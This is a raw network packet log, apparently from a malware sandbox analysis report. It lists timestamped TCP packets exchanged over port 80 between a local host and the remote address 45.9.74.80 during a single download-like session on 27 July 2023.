Jul 27, 2023 18:27:01.515815020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.515866041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.515866995 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.515911102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.515958071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.515969038 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516004086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516012907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516051054 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516097069 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516113043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516143084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516190052 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516202927 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516237020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516314983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516382933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516386032 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516431093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516478062 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516494989 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516522884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516534090 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516567945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516617060 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516643047 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516664028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516710043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516721964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516757965 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516803026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516849995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516855955 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516896009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516942024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516951084 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.516988039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.516999006 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517034054 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517081976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517086029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517131090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517183065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517187119 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517235041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517280102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517326117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517338991 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517374039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517420053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517438889 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517467022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517481089 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517514944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517560959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517574072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517608881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517656088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517663956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517700911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517748117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517793894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517803907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517839909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517887115 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517896891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.517931938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.517977953 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518023968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518069983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518115997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518162012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518203020 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.518208981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518224001 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.518255949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518302917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518315077 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.518351078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518397093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518409967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.518441916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518488884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518534899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518556118 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.518580914 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518629074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518641949 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.518673897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518719912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518728018 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.518767118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518771887 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.518814087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518862009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.518870115 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.527261972 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550113916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550180912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550230026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550276995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550323963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550327063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550373077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550384045 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550384045 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550421000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550467014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550493956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550512075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550559998 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550565958 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550609112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550658941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550707102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550719023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550754070 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550801039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550813913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550848007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550848007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550894976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550941944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.550957918 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.550987959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551034927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551079988 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551083088 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551126957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551175117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551192045 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551220894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551266909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551279068 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551318884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551363945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551399946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551412106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551435947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551457882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551502943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551517963 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551549911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551599026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551613092 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551645994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551665068 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551665068 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551692963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551738977 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551757097 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551784992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551832914 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551840067 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551877975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551882982 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551882982 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.551925898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.551971912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552018881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552067995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552114010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552150011 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552150011 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552160025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552182913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552210093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552254915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552313089 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552334070 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552337885 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552381039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552428007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552438974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552474976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552521944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552532911 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552567959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552572966 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552617073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552663088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552673101 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552709103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552757978 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552763939 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552802086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552804947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552850008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552896023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552908897 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.552941084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552988052 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.552997112 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553034067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553039074 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553081036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553128004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553136110 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553211927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553258896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553271055 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553308010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553318024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553353071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553400040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553411007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553447008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553494930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553500891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553541899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553545952 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553586960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553603888 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553636074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553682089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553692102 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553726912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553772926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553783894 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553818941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553826094 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553864956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553913116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.553915024 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.553956985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554004908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554009914 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554052114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554055929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554096937 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554143906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554148912 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554191113 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554238081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554250956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554285049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554296970 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554332972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554379940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554394007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554426908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554472923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554481030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554517984 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554564953 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554572105 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554613113 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554615974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554660082 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554704905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554717064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554752111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554797888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554811001 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554843903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554851055 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554889917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554935932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.554948092 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.554981947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555028915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555035114 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555074930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555083036 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555120945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555167913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555202007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555213928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555222034 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555258989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555305958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555311918 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555354118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555402040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555413008 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555447102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555459023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555491924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555538893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555583954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555630922 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555634022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555654049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555680990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555732965 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555768013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555769920 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555788040 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555804968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555823088 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555841923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555874109 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555879116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555895090 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555917978 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555954933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.555972099 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.555990934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556027889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556045055 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.556063890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556098938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556098938 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.556138039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556158066 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.556174994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556210995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556227922 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.556247950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556293964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.556302071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556339025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.556371927 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.556394100 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.579736948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.579807043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.579854012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.579902887 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.579955101 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.579982042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.579996109 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580023050 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580029011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580048084 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580075026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580122948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580133915 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580168009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580212116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580244064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580259085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.580286026 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.580332041 CEST	80	49705	45.9.74.80	192.168.2.4
